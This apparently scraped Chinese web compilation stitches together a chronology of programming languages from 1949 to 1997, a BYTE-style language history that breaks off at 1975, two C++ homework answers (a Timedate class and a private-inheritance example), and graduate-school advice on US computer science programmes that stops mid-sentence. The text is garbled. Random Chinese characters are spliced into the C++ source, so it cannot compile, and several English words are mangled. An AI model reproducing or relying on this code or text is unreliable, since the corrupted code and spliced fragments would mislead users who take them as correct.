1949 Short Code (for BINAC) (John Mauchly)
1950 Intermediate Programming Language (Arthur W. Burks)
1951 Klamemerausdrucke (algebraic language and compilers)
1951 Formules (complete compiler) (Heinz Rutishauser)
1951 Find (for the Whirlwind) (Jack Gilmore)
1952 Autocode compiler (Alick E. Glennie)
1952 Short Code (for UNIVAC 1) (W.F. Schmidt, A.B. Tonik, J.R. Logan)
1952 Sort-Merge Generator (for UNIVAC 1) (Betty Holberton)
1952c COMPOOL (for SAGE) (MIT)
1952 Punchy (for TX-O) (Jack Gilmore)
1953 A-2 Compiler (for UNIVAC) (Grace Hopper)
1953 Algebraic interpreter (for Whirlwind, MIT) (J.H. Laning, N. Zierler)
1953 Speedcoding (for IBM 701) (John Backus)
1954 Operating System (for IBM 701, General Motors Research Laboratory)
1954 Autocode (for Manchester Mark 1) (R.A. Booker)
1954 PiPi-2 Prgrmg Program (compiler, USSR) (E.Z. Liumbimskii, S.S. Kamynin)
1954c Autocoder assembly language (for IBM 705)
1955 PiPi Programming Program (for BESM) (USSR)
1955 BACAIC (for IBM 701) (Mandalay Grems, R.E. Porter, Boeing Airplane Co.)
1955 MATH-MATIC mathematical programming language (for UNIVAC) (C. Katz)
1955 Kompiler 2 (for IBM 701) (A. Kenton Elsworth, Livermore Laboratory)
1956 Operating Sys. (for IBM 704) (General Motors; North American Aviation)
1956 ADES (U.S. Naval Observatory) (E.K.Blum)
1956 APT machine tool control (MIT) (Douglas Ross)
1956 Logic Theorist AI program (A. Newell & H. Simon, Carnegie Institute)
1956 IT (Internal Translator) (for IBM 650) (A. Perlis & J.W. Smith)
1956 Mark I report generator (for IBM 702) (General Electric-Hanford)
1956 FORTRAN (Formula Translation) (John Backus, IBM)
1957 Mark II Report generator (for IBM 702) (General Electric-Hanford)
1957 IPL-V (Information Processing Language V)
1957 Fortransit programming language
1957 COMIT string processing language (Victor Yngve, MIT)
1957 Scope Writer (for TX-2) (Jack Gilmore)
1957 Lincoln Writer (for TX-2) (Jack Gilmore)
1958 APT (Automatically Programmed Tool)
1958 FLOW-MATIC (for UNIVAC, Remington-Rand) (Grace Hopper)
1958c SOAP assembler (for IBM 650)
1958 IR (Information Retrieval) database management system (for IBM 704)
1958 LISP (List Processing language) (John McCarthy, MIT)
1958 AIMACO data processing language
1958 IPL V list processing language
1959 DYNAMO III
1959 TUFF/TUG (for IBM 704)
1959 9PAC file handling (for IBM 709)
1959 FACT business data processing language
1959 SURGE (for IBM 704) (Fletcher Jones)
1959 SAGE operating system (for IBM AN/FSQ7) (System Development Corp.)
1959c SAP assembler (for IBM 704)
1959c ASCI-Matic (Jack Minker)
1959 COBOL (December release)
1960 Atlas operating system for Atlas Computer)
(Manchester Univ. & Ferranti)
1960 ALGOL 60 (Algorithmic Language)
1960 COBOL (Common Business Oriented Language)
1960 JOVIAL (Jules Own Version of Int. Algebraic Language) (Jules Schwartz)
1960 MAD (Michigan Algorithm Decoder)
1960 NELIAC (Navy Electronics Laboratory International Algol Compiler)
1960 TRAC string processing language
1960 SCEPTRE
1960 IOCS operating system (for IBM 709/7090)
1960 FMS operating system (for IBM 709) (North American Aviation)
1961 COBOL revised and reissued
1961 SOS operating system (for IBM 709) (SHARE and IBM)
1961 GPSS (General Purpose Systems Simulator)
1961 SAC/Aids Formatted File System (for SAC 438L system) (SAC)
1961 BASE-BALL natural language system (B.V. Green)
1961 QUERY database (T. E. Cheatham, S. Warshall)
1961 RPG (Report Program Generator) (for IBM 1401)
1961 MADCAP scientific programming language
1961 ALGY formula manipulation language
1961 GECOM business data processing language
1961 QUICKTRAN on-line programming language
1961 Expensive Typewriter (IBM 360) (Stephen Piner)
1961 COBOL 61 Extended
1962 CTSS operating system (for IBM 7090 & IBM 7094) (Dr.F. Corbato, MIT)
1962 Gen. Info. & Retrieval System (GIRLS) for IBM 7090 (J.A. Postley, AIS)
1962 EXEC 1 operating system (for Univac 1107) (Computer Sciences Corp.)
1962 APL (A Programming Language) (Kenneth Iverson)
1962 IBSYS operating system (IBM 7090)
1962 Advanced Data Management System (ADAM) (for IBM 7030) (MITRE)
1962 COLINGO database (for IBM 1401)
1962 FORMAC formula manipulation
1962 SNOBOL (String Oriented Symbolic Language)
1963 Master Control Program operating system (for Burroughs B5000)
1963 COGO (Coordinate Geometry)
1963 Information Processing System (IPS) (for CDC 1604) (NAVCOSSACT)
1963 JOSS (Johnniac Open Shop System) (J.Cliff Shaw, Rand Corporation)
1963 CORC scientific programming language
1963 OMNIT AB scientific programming language
1963 Ambit
1964 Integrated Data Store (I-D-S) (Charles Bachman, General Electric)
1964 OS/360 operating system (for IBM 360)
1964 BASIC (Beginners All-Purpose Symbolic Instruction Code)
(John Kemeny, Thomas Kurtz, Dartmouth College)
1964 FORMAC (Formula Manipulation Compiler) for non-numeric mathematics
(Jean Sammet)
1964 PAT on-line programming language
1964 PL/1 (developed by IBM and SHARE)
1964 Altran
1965 Generalized Update Access Method (GUAM) (IBM 7010)
(developed by North American Space Division)
1965 Remote Access Terminal System (for IBM 7010)
(developed by IBM, and Rockwell International)
1965 Generalized Information System (GIS) (for IBM System/360)
1965 DENDRAL (Edward Fiegenbaum, Joshua Lederberg (Stanford University)
1965 C-10 database management system (IBM 1410) (developed by MITRE)
1965 COGENT report generator (for IBM 709)
1965 CPS on-line programming language
1965 RUSH on-line programming language
1965 Amtran on-line programming language
1965 FLAP formula manipulation programming language
1965 CLP list processing language
1965c MULTICS interactive operating system (for GE/Honeywell 645)
(developed by GE, Bell Labs & MIT)
1965 TRAC
1965 SNOBOL 3
1966 SIMULA I (Kristen Nygaard, Ole-Lohan Dahl) (First Object Oriented Language)
1966 TOSS operating system (for IBM System/360) (developed by RCA)
1966 Dialog on-line programming language
1966 MAP on-line programming language
1966 NAPSS scientific programming language
1966 Euler scientific programming language
1966 Coursewriter II
1966 OMNITAB II
1966 ECAP II (Electronic Circuit Analysis Program II)
1966 MPSX (Mathematical Programming System Extended)
1967 RAMIS non-proceral programming language (Mathematical)
1967 MANAGE database management system (for XDS 940 computer)
(developed by Scientific Data Systems)
1967 AS-IST database management system (for IBM System/360)
(developed by Applications Software)
1967 LUCID database management system (for AN/FSQ32)
(developed by System Development)
1967 ICES (Integrated Civil Engineering System)
1967 CSSL (Continuous Systems Simulation Language)
1967 Simula 67 (Simulation Language 1967)
1967 CPUL programming language
1967 POSE scientific programming language
1967 MAC-30 programming language
1967 DIAGMAG scientific programming language
1967 REDUCE formula manipulation language
1967 SPRINT list processing language
1967 LOLITA list processing language
1967 EOL-3 string processing language
1967 LEAP multipurpose programming language
1967 SNOBOL 4
1968 ALGOL 68 (Algorithmic Language)
1968 ATLAS (Abbreviated Test Language for "All" Systems)
1968 CSMP (Continuous System Modeling Program)
1968 Speakeasy
1968 OS/MFT operating system (for IBM 360 computers)
1968 TSS operating system (for IBM 360/370)
1968 MCP operating system (for Burroughs for B2500 and B3500)
1968 PAL programming language
1968 Proteus programming language
1968 GPL general purpose programming language
1968 TPS
1968 Salem
1968 Ariel
1968 Bruin
1968 TLC
1968 Termac
1968 Active Language 1
1968 Symbal
1968 Champ
1969 MUMPS (Massachusetts General Hospital General Utility
Multi-Programming System)
1969 PILOT
1969 CP-67/CMS operating system (for IBM 360 computer)
1969 OS/MVT operating system (for IBM 360 computer)
1969 Data Manager-1 (developed by Auerbach)
1969 UNIX multi-user, multitasking operating system development begun at Bell Labs
1969 Cobol Data Management System (CDMS) (for IBM 360)
(developed by Defense Intelligence Agency)
1969 Information Management System (IMS) hierarchical database management
system (developed by IBM)
1969 TSOS operating system (for Spectra 70/46) (developed by RCA)
1969 Time Shared Data Management System (TSDMS) (for IBM 360)
1969 Remote File Management System (for CDC 6000)
(developed at University of Texas)
1969 McG360 programming language
1969 DML programming language
1969 REL programming language
1969 PLANNER programming language
1969 REF-ARF programming language
1969 IITRAN multipurpose programming language
1969 APAREL multipurpose programming language
1969 NUCLEOL string processing language
1969 LEAF list processing language
1969 IAM formula manipulation language
1969 PPL on-line programming language
1969 OSCAR on-line programming language
1969 TRANQUIL scientific programming language
1969 SPEAKEASY scientific programming language
1969 STIL scientific programming language
1969 Music V (Max Mathews)
1969 Scratchpad
1970 BLISS (Basic Language for Implementation of System Software)
1970 SC-1 database management system (for IBM 360)
(developed by Western Electric)
1970 DMS data management system (for Sigma 5,7,9 computers)
(developed by Xerox Data Systems)
1970 S2000 data management system (for CDC 6000)(developed by SRI Systems)
1970 AIDS scientific programming language
1970 IIMP scientific programming language
1970 POEL scientific programming language
1970 LPL list processing language
1970 BALM list processing language
1970 Gedanken programming language
1970c Macsyma programming language (Joel Moses, MIT)
1970 Vulcan
1970 PDEL
1970 Pascal (Niklaus Wirth)
1971 VMOS operating system (for Spectra computers) (developed by RCA)
1971 ETC programming language
1971 TUTOR
1971 ISPL (Instruction Set Processor Language)
1971 FORMAC formula manipulation language
1971 HAL/S A programming language used aboard the Space Shuttle Columbia
1972 SMALLTALK object-oriented language (Alan Kay; Xerox)
1972 PL/M high-level language for microprocessor
1972 VS/9 operating system (for UNIVAC Series 90)
1972 Development of C language (Dennis Ritchie)
1973 BS2000 operating system (for Siemens 7500)
1973 VM 1370 operating system (for IBM 370 series)
1973 OS/VS operating system (for IBM 370 series)
1973 Pholas data management system (for Philips P1000)
1973 PDS/MaGEN (Problem Descriptor System)
1974 PL/M
1975 SPSS (Statistical Programs for the Social Sciences)
1975 OS/MVS operating system (for IBM 370 series)
1975 UNIX licensed by Western Electric for academic and commercial sectors
1975 ADA programming language developed for U.S. Dept. of Defense
1975 MDQS (Management Data Query System) developed by Honeywell
1976 Mola multiprocessing language (Niklaus Wirth)
1976 SMALLTALK 76 (Alan Kay, Adele Goldberg, Daniel H. H. Ingalis; Xerox PARC)
1977 CP/M (Control Program for Microprocessors) (Gary Kildall)
1979 VisiCalc electronic spreadsheet software for microcomputers
1979 X-CON (aka RI) expert system (Carnegie-Mellon University)
(used at Digital Equipment Corporation)
1980 INTELLECT natural language query system
(Artificial Intelligence Corporation)
1980 CPF operating system (for IBM System/38 minicomputer)
1980 C++ (Bjarne Stroustrup, Bell Labs)
1981 MS/DOS (Microsoft Disk Operating System)
developed by Microsoft Corporation) (IBM version called PC/DOS)
1983 KEE (expert systems development tool) IntelliCorp.
198? Objective C (Brad Cox; Stepstone Corporation)
1988 Windows 386 version 2.0 Released by Microsoft Corporation
1990 (April) Windows 3.0 released by Microsoft Corporation
1991 Windows NT Server version 3.1 released by Microsoft Corporation
1994 Windows NT Server version 3.5 released by Microsoft Corporation
1995 Windows 95 (microcomputer operating system and interface, Microsoft Corporation)
1995 JAVA (James Gosling, Sun Microsystems)
1996 Windows NT Server version 4.0 released by Microsoft Corporation
1996 "Inferno" under development by Dennis Ritchie and others
1996 (March) Microsoft』s Active X is released
1996 (October) Sun Microsystems SunSoft division releases JavaBeans
1996 Symantec』s Visual Cafe 1.0 tool (supports JavaBeans model)
1996 Delphi announces JBuilder (formerly code-named Latte)
1996 IBM』s Visual Age (supports JavaBean)
1996 Powersoft announces Jato (originally code-named Starbuck) (supports JavaBeans)
1996 Oracle Corporation announces Sedona, a development tools technology
1997 Microsoft Windows NT 5.0
編程語言歷史
《BYTE》:A Brief History of Programming Languages
We』ve come a long way from computers programmed with wires and punch cards. Maybe not as far as some would like, though. Here are the innovations in programming.
ca. 1946
Konrad Zuse , a German engineer working alone while hiding out in the Bavarian Alps, develops Plankalkul. He applies the language to, among other things, chess.
--------------------------------------------------------------------------------
1949
Short Code , the first computer language actually used on an electronic computing device, appears. It is, however, a "hand-compiled" language.
--------------------------------------------------------------------------------
1951
Grace Hopper , working for Remington Rand, begins design work on the first widely known compiler, named A-0. When the language is released by Rand in 1957, it is called MATH-MATIC.
--------------------------------------------------------------------------------
1952
Alick E. Glennie , in his spare time at the University of Manchester, devises a programming system called AUTOCODE, a rudimentary compiler.
--------------------------------------------------------------------------------
1957
FORTRAN --mathematical FORmula TRANslating system--appears. Heading the team is John Backus, who goes on to contribute to the development of ALGOL and the well-known syntax-specification system known as BNF.
--------------------------------------------------------------------------------
1958
FORTRAN II appears, able to handle subroutines and links to assembly language. John McCarthy at M.I.T. begins work on LISP--LISt Processing.
The original specification for ALGOL appears. The specific ation does not describe how data will be input or output; that is left to the indivial implementations.
--------------------------------------------------------------------------------
1959
LISP 1.5 appears. COBOL is created by the Conference on Data Systems and Languages (CODASYL).
--------------------------------------------------------------------------------
1960
ALGOL 60 , the first block-structured language, appears. This is the root of the family tree that will ultimately proce the likes of Pascal. ALGOL goes on to become the most popular language in Europe in the mid- to late-1960s.
Sometime in the early 1960s , Kenneth Iverson begins work on the language that will become APL--A Programming Language. It uses a specialized character set that, for proper use, requires APL-compatible I/O devices.
--------------------------------------------------------------------------------
1962
APL is documented in Iverson』s book, A Pro gramming Language .
FORTRAN IV appears.
Work begins on the sure-fire winner of the "clever acronym" award, SNOBOL--StriNg-Oriented symBOlic Language. It will spawn other clever acronyms: FASBOL, a SNOBOL compiler (in 1971), and SPITBOL--SPeedy ImplemenTation of snoBOL--also in 1971.
--------------------------------------------------------------------------------
1963
ALGOL 60 is revised.
Work begins on PL/1.
--------------------------------------------------------------------------------
1964
APL\360 is implemented.
At Dartmouth University , professors John G. Kemeny and Thomas E. Kurtz invent BASIC. The first implementation is a compiler. The first BASIC program runs at about 4:00 a.m. on May 1, 1964.
PL/1 is released.
-----------------------------------------------------------------------------
1965
SNOBOL3 appears.
--------------------------------------------------------------------------------
1966
FORTRAN 66 appears.
LISP 2 appears.
Work begins on LOGO at Bolt, Beranek, & Newman. The team is headed by Wally Fuerzeig and includes Seymour Papert. LOGO is best known for its "turtle graphics."
--------------------------------------------------------------------------------
1967
SNOBOL4 , a much-enhanced SNOBOL, appears.
--------------------------------------------------------------------------------
1968
ALGOL 68 , a monster compared to ALGOL 60, appears. Some members of the specifications committee--including C.A.R. Hoare and Niklaus Wirth--protest its approval. ALGOL 68 proves difficult to implement.
ALTRAN , a FORTRAN variant, appears.
COBOL is officially defined by ANSI.
Niklaus Wirth begins work on Pascal.
--------------------------------------------------------------------------------
1969
500 people attend an APL conference at IBM』s headquarters in Armonk, New York. The demands for APL』s distribution are so great that the event is later referred to as "The March on Armonk."
--------------------------------------------------------------------------------
1970
Sometime in the early 1970s , Charles Moore writes the first significant programs in his new language, Forth.
Work on Prolog begins about this time.
Also sometime in the early 1970s , work on Smalltalk begins at Xerox PARC, led by Alan Kay. Early versions will include Smalltalk-72, Smalltalk-74, and Smalltalk-76.
An implementation of Pascal appears on a CDC 6000-series computer.
Icon , a descendant of SNOBOL4, appears.
--------------------------------------------------------------------------------
1972
The manuscript for Konrad Zuse』s Plankalkul (see 1946) is finally published.
Denni s Ritchie proces C. The definitive reference manual for it will not appear until 1974.
The first implementation of Prolog -- by Alain Colmerauer and Phillip Roussel -- appears.
--------------------------------------------------------------------------------
1974
Another ANSI specification for COBOL appears.
--------------------------------------------------------------------------------
1975
⑻ C++編程題
16。
#include <iostream>
#include <iomanip>
using namespace std;
enum YR{Y2000,Y2001,Y2002,Y2003,Y2004,Y2005};//
enum MT{Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec};
class Timedate{
private:
YR year;
MT month;
int date;
int hh;
int mm;
int ss;
public:
Timedate(){year=Y2000;month=Jan;date=1;hh=0;mm=0;ss=0;}
Timedate(YR a,MT b,int c){
year=a;
month=b;
date=c;
hh=12;mm=30;ss=0;
}
void getdate(YR &,MT &,int &);//使用引用一次取得3個數值
void gettime(int &,int &,int &);
void putdate(YR ,MT ,int );
void puttime(int ,int ,int );
void list();
};
void Timedate::getdate(YR &y,MT &m,int &d){
y=year;
m=month;
d=date;
}
void Timedate::gettime(int &a,int &b,int &c){
a=hh;
b=mm;
c=ss;
}
void Timedate::putdate(YR a,MT b,int c){
year=a;
month=b;
date=c;
}
void Timedate::puttime(int a,int b,int c){
hh=a;
mm=b;
ss=c;
}
void Timedate::list(){//成員函數,直接訪問私有的數據成員
cout<<"year/month/date :";
switch(year){
case Y2000:cout<<"2000";break;
case Y2001:cout<<"2001";break;
case Y2002:cout<<"2002";break;
case Y2003:cout<<"2003";break;
case Y2004:cout<<"2004";break;
case Y2005:cout<<"2005";break;
}
switch(month){
case Jan:cout<<'/'<<"Jan";break;
case Feb:cout<<'閉緩喚/'<<"Feb";break;
case Mar:cout<<'/'<<"Mar";break;
case Apr:cout<<'/'<<"Apr";break;
case May:cout<<'/'<<"May";break;
case Jun:cout<<'/'<<"Jun";break;
case Jul:cout<<'/'<<"Jul";break;
case Aug:cout<<'/'<<"Aug";break;
case Sep:cout<<'/'<<"Sep";break;
case Oct:cout<<'/'<<"Oct";break;
case Nov:cout<<'/'<<"Nov";break;
case Dec:cout<<'/'<<"Dec";break;
}
cout<<轎凱'/'<<date<<endl;
cout<<"hour:minite:second :";
cout<<hh<<':'<<mm<<':'<<ss<<endl;
}
void list(Timedate td){//普通函數,通過介面函數訪問私有的數據成員
YR year;
MT month;
int date;
int hh;
int mm;
int ss;
td.getdate(year,month,date);
cout<哪罩<"year/month/date :";
switch(year){
case Y2000:cout<<"2000";break;
case Y2001:cout<<"2001";break;
case Y2002:cout<<"2002";break;
case Y2003:cout<<"2003";break;
case Y2004:cout<<"2004";break;
case Y2005:cout<<"2005";break;
}
switch(month){//,,,,,,,,
case Jan:cout<<'/'<<"Jan";break;
case Feb:cout<<'/'<<"Feb";break;
case Mar:cout<<'/'<<"Mar";break;
case Apr:cout<<'/'<<"Apr";break;
case May:cout<<'/'<<"May";break;
case Jun:cout<<'/'<<"Jun";break;
case Jul:cout<<'/'<<"Jul";break;
case Aug:cout<<'/'<<"Aug";break;
case Sep:cout<<'/'<<"Sep";break;
case Oct:cout<<'/'<<"Oct";break;
case Nov:cout<<'/'<<"Nov";break;
case Dec:cout<<'/'<<"Dec";break;
}
td.gettime(hh,mm,ss);
cout<<'/'<<date<<endl;
cout<<"hour:minite:second :";
cout<<hh<<':'<<mm<<':'<<ss<<endl;
}
int main(){
Timedate A(Y2004,Mar,3),B;
A.list();
B.list();
B.putdate(Y2005,Oct,18);
B.puttime(17,30,00);
list(B);
return 0;
}
17.
類A中有成員變數a 和成員變數b 。
類B由類A繼承產生。
類A中成員變數a對於類B不可見。
類A中成員變數b對於類B可見,但對外部程序不可見。
class A {
private:
int a;
public:
int b;
};
class B: private A { //私有繼承後,A中的a對於B是不可見的,A的b對於B是可見的,但對於外部是不可見的
...
};
⑼ 大二的計算機專業,想留學美國,請大家給點建議
前20名
CS——Computer Science的簡稱,即計算機科學。
總的來說,計算機專業前20名的學校可分成三類:
A.4個最為優秀的CS Program:Stanford,MIT,U.C.Berkeley,CMU。
B.6個其他前10名的:UIUC,Cornell,U.Washington,Princeton,U.Wisconsin- Madison和 U.Texas-Austin。其中UIUC,Cornell,U.Washington和 U.Wisconsin-Madison幾乎從未出過前10名。
C.其他非常非常優秀的CS:CalTech,U.Maryland-College Park,UCLA,U.Michigan, GIT,Brown,Harvard,Yale,Pure和 Rice。
1. 斯坦福大學(Stanford University)
Stanford的CS是個很大個的CS,擁有40人以上的Faculty成員,其中不乏響當當、硬梆梆的圖靈獎得主(Edward A.Feigenbaum, John McCarthy)和各個學科領域的大腕人物,比如理論方面的權威Donald E. Knuth;資料庫方面的Jeffrey D. Ullman(他還寫過那本著名的編譯原理,此人出自Princeton);以及RISC技術挑頭人之一的John Hennessy。相信CS的同學對此並不陌生。該系每年畢業30多名Ph.D.以及更多的Master。學生的出路自然是如魚得水,無論學術界還是工業界,Stanford的學生都倍受青睞。幾乎所有前10 名的CS學校中都有Stanford的畢業生充當教授。
畢業於U. of Utah的Jim Clark曾經在Stanford CS當教授。後來就是這個人創辦了高性能計算機和科學計算可視化方面巨牛的SGI公司。SUN公司名字的來歷是Stanford University Network。順便提一下,創辦 YAHOO的華人楊致遠曾在斯坦福的EE攻讀博士,後來中途輟學辦了YAHOO。
CS科研方面,斯坦福在理論、資料庫、軟體、硬體、手森AI等領域都是實力強勁的頂級
高手。斯坦福的RISC技術後來成為SGI/MIPS的Rx000系列微處理器的核心技術;DASH,FLASH項目更是多處理器並行計算機研究的前沿;SUIF並行化編譯器成為國家資助的重點
項目,在國際學術論文中SUIF編譯器的提及似乎能為某些平庸的論文平添幾分姿色。
Stanford有學生14000多,其中研究生7000多;CS有175人攻讀博士,350人攻讀碩士。每年招收的學生數不詳,估計少不了。但不要忘了,每年申請Stanford CS的學生接近千人。申請費高達$80。
斯坦福大學位於信息世界的心臟地帶——矽谷。加州宜人的氣候,美麗的風景使得
Stanford堪稱CS的天堂。33.1平方公里的校園面積怕是夠學子們翻江倒海,叱吒風雲的
了。
2. 麻省理工學院(Massachusetts Inst. of Technology)
MIT招生好像不看GRE成績。MIT的CS是巨牛的,99年最新排名上它和斯坦福同被打了
5.0的滿分,兩者並列第一。MIT的CS曾為CS的發展作出不可磨滅的貢獻,數據流計算的
思想和數據流計算機、人工智慧方面的許多重大成就,影響了整個UNIX界的X-Window…橡中
… MIT 和 Stanford一樣,幾乎都是在CS界樣樣巨牛的學校。據某位大俠提供的資料:
MIT的 Media Arts and Sciences知名度不在Computer Department之下。主要是多媒體技術,信息處理,人工智慧等。有一大批著名的教授,如Marvin Minsky(圖靈獎獲得者)。
3. 加州大學伯克利分校(University of California-Berkeley)
同樣地處舊金山灣畔,矽谷地帶,離Stanford大約只有50公里的UC. Berkeley是美國最激進的學校之一。60年代的嬉皮文化,反越戰,東方神秘主義,回歸自然文化都起
源於此。詩人愛倫金斯堡是當年UC. Berkeley的代言人。
在當今高科技領域UC. Berkeley在締造新的神話畢如畝,在文學、數學、化學、新聞等20
多個大的學科領域位居前3名。16個諾貝爾獎得主,總數近200的科學院院士、工程院院
士,連同眾多在矽谷商戰中成為億萬富翁的伯克利人撐起了一面匯集天下英才的大旗。
INTEL總裁Andrew Grove,就是畢業於UC. Berkeley。
BSD版的UNIX影響了整個CS界,伯克利的RISC技術後來成為了SUN公司SPARC微處理器的核心技術,David Patterson接下了一個6億美元的項目用於新型計算機體系結構,特別是IRAM的研究開發。
UC. Berkeley有學生30000多,研究生超過8500人。申請費和加州大學的其他分校一樣,$40。據一項最近的調查,伯克利已經成為美國大學生最嚮往的研究生院,高居榜首,其申請的難度可想而知。
UC. Berkeley的CS是個大系,Faculty中有圖靈獎得主以及像Patterson這樣的巨牛。CS科研方面,UC. Berkeley也是樣樣強。
舊金山湛藍起伏的海灣,蒼翠綿延的山巒,舒心宜人的氣候,以及近在咫尺的矽谷
……
這一切的一切不也使得UC. Berkeley儼然一個CS學子的世外桃源嗎?
4. 卡耐基梅隆大學(Carnegie Mellon University)
CMU是個位於匹茲堡的不大的學校,學生7000多,校園好像也不大。但這個學校在工
程及其他一些領域卻是頂尖的學堂。CMU的CS不是一個系,而是一個學院,其規模之大,
可能只有Stanford,UIUC可與之相比。Mach操作系統,PVM,C.mmp等都有CMU的巨大貢獻。
申請CMU的難度很大,因為盡管CMU的CS Faculty很多,但每年只招收不足30人的研
究生隊伍。
5. 伊利諾斯大學(Univ. of Illinois-Urbana-Champaign)
UIUC的工程學院在全美是至尊級的,其CS,ECE,EE在歷史上都屢建戰功。在CS方面
,從早期的超級計算機ILLIAC I,II,III,IV到後來的CEDAR,都是CS發展史上,特別是並行計算機發展史上的重要事件,影響和引導了CS很長時期的發展。David Kuck曾是
並行計算機處理界的一代先驅。
超級計算機研究開發中心(CSRD),美國國家超級計算及應用中心(NCSA)等眾多
的機構,使得UIUC的CS常常成為研發的領頭雁。
大家可能還記得,Netscape-Navigator的最初開發人員中有個Marc Anderssen。這位來自Wisconsin 的小夥子在UIUC讀本科,大四的時候在NCSA參與編寫了MOSAIC;後來他去了矽谷,並在那裡遇到了前面提到過的Jim Clark,SGI的前創始人,兩人一見如故,聯手創辦了著名的網景Netscape,並一度在瀏覽器市場上獨霸武林。
還有Lotus Notes, 遠程登錄程序NCSA Telnet, 郵件程序Eudora等的作者,都是UIUC的畢業生。商務軟體巨人Siebel Systems的創始人Tom Siebel,也是畢業於UIUC的。
UIUC是個大學校,學生總數超過35000,研究生院近萬人。
UIUC的CS很大,40餘個Faculty提供了全面的CS教育和科研項目。每年30多個博士的
畢業數目似乎只有Stanford可以匹敵。
UIUC的Polaris並行化編譯器是這個領域能和Stanford的SUIF直接叫板的拳頭產品,清華開發並行編程環境時選用了這個系統。
UIUC在計算機硬體、軟體、AI、DB等領域都相當強大。特別是硬體,如前面提到的
ILLIAC,CEDAR等。
事實上,UIUC在超級計算機系統的研究開發方面絕不遜於MIT、Stanford等任何一個,甚至有過之而無不及。NCSA建立在UIUC這一事實本身就是佐證。UIUC CS的學生畢業後去學術界的不少,Stanford,UC. Berkeley等CS名校都有UIUC的博士挑大樑。但更多UIUC CS學人還是進入業界,成為業界實乾的中堅。
6. 康奈爾大學(Cornell University)
作為IVY LEAGUE的成員和一所私立學校,Cornell有其獨到的優勢。在美國,私立學
校一般要比公立學校難進,其學生也是經過嚴格的選拔才錄取的。Cornell的CS學生入校
後多能享受FELLOWSHIP的待遇,其個人經濟條件非公立學校可比,加上貴族式校友的提
拔,私立學校的出路是很誘人的。康奈爾在理論計算機方面一直是頂級高手,但在其他
CS領域並不總在前10名。
Cornell學生18000多,研究生過5000人。CS每年招攻讀Ph.D.的學生25人左右。
7. 華盛頓大學(University of Washington)
位於Seattle的U. of Washington得天獨厚——計算機界的巨牛MS就在西雅圖,而且更要命的是,Bill Gates就是那裡的人。這位Harvard的輟學者給了哈佛許多MONEY,但同給U. of Washington的錢財相比,實在是小巫見大巫。
U. of Washington位於風光秀麗的WASHINGTON湖畔,氣候四季如春。33000多學生中研究生有8000名左右。Seattle最令人厭惡的地方可能就是一年有160天會降水。
U. of Washington的CS較大,30多名Faculty成員,每年近20個優質博士畢業,以及大量的Master。估計每年的招生數應該不低。U. of Washington的CS在各個方面比較均衡,最強的軟體排名第5,而其他領域一般也都能位居前10,好像沒有明顯很弱的地方。
圖靈獎得主Dick Karp從UC. Berkeley告老還鄉後又被返聘到了U. of Washington的CS。U. of Washington的CS要求很高,Ph.D.學生入學的平均GPA高達3.86,GRE2160以上,加上一般較早的DEADLINE,申請U. of Washington是相當有難度的。
8. 普林斯頓大學(Princeton University)
Princeton是個令人神往的地方,這里曾經是世界的科學中心。
Princeton的CS不大,18個Faculty成員,學生人數也不算多。科研上除了排名第5的理論,似乎還沒注意到其他閃光點。但是,Princeton無疑培養出了大量計算機界的優秀人物,Jeffrey D. Ullman,John McCarthy等巨牛人物均出自大名鼎鼎的Princeton。在
Princeton領受的教育是最好的教育熏陶。
Princeton學校不大,只有6000多學生,研究生不過1700人。
9. 威斯康星大學(University of Wisconsin-Madison)
U. of Wisconsin-Madison的CS較大,35個Faculty成員,200多個研究生,每年招60—70個新生。目前幾乎1/4的Faculty來自UC. Berkeley,博士生畢業後有去Stanford ,UC. Berkeley等牛校挑大樑的,但和UIUC類似,似乎進入業界的更多一些。然而要在這里拿到博士學位可不容易。超過七成的人,會在中途找到比較理想的工作後,拿著碩士文憑拔腿就跑,免得被那些無窮無盡的科研項目給整慘了。
U. of Wisconsin-Madison的資料庫一直在前3位,經常是第1位。這里的資料庫由於在設計實現DBMS系統上的傳統優勢,使其在業界的聲譽相當崇高,據說Microsoft里有一幫Wisconsin校友從中興風作浪,Oracle也格外青睞Wisconsin-Madison的學子。
Wisconsin的硬體、計算機體系結構實力巨牛,99排名第6,對業界相當有影響力。
微處理器中的超標量技術(SuperScalar)源於此地;多處理機CACHE一致性的匯流排偵聽
SNOOPING協議,IEEE SCI協議等,都是源於此地。正在研究開發中的MultiScalar技術和 DataScalar技術據說可以把微處理器每個時鍾周期的指令發射數提到10以上,大大地提高微處理器的計算能力。Wisconsin的軟體99排名第7。主要是在系統軟體方面做OS 的設計與實現,WEB上的CACHE策略,支持共享主存和消息傳遞兩種並行編程模式及其混合的並行程序設計語言和編譯器,以及由MIDSHIP項目挑起的關於並行與分布式計算,OODB,科學資料庫,支持圖象查詢的新型查詢語言以及圖象處理等方面的研究。由於美國有大量的衛星圖象需要及時處理,加上迫切需要GIS系統的研究開發,這方面的研發使得U. of Wisconsin-Madison撈到了不少經費。
Wisconsin和UIUC的CS理論都是前10名左右。Wisconsin的Carl de Boor是逼近理論 方面的大牛。
U. of Wisconsin-Madison是個大型的綜合性學校,40000學生中研究生院的超過10 000,這萬人中有博士生5000,碩士生3500,法學院、醫學院、護理學院、獸醫學院的職業學生2000人。2200多Faculty中有多位諾貝爾獎得主,52個院士,其中18個是工程院院士。
需要注意的是,Wisconsin的CS有點不同於其他許多學校,它隸屬於College of Le
tters & Science,而不在College of Engineering下面。因此許多偏硬體的項目,比如嵌入式系統,網路硬體、路由,多媒體,通信,自控以及數字信號處理等項目不在CS D ept.,而是在工程院下的Dept. of Electrical & Computer Engineering,即ECE系。
那個系也挺大,比CS還要大不少。98年在工程類排名的計算機工程一項上排了第9位
。
10. 德克薩斯大學(University of Texas-Austin)
U. of Texas-Austin的CS較大,Faculty中好像有個圖靈獎得主。該系發展比較平衡,最好的AI排第5,其他幾個專業也多能擠進前十。
U. of Texas-Austin是個巨大的學校,5萬學生,研究生院的可能有1.3萬。但學校的主校區卻好像面積不足,僅140公頃,按美國大學的標准,太不足了。
11. 加州理工學院(California Institute of Technology)
CIT的CS很小,只有大約5位教授,每年招很少的學生。雖然申請CIT是免費的,但建
議不要輕易嘗試。由於系太小,CIT好像只是在計算機硬體和科學計算的可視化方面很強
。該系多年以來一直穩坐第11、12位幾乎沒動過窩;類似的情況還有斯坦福,MIT,穩居
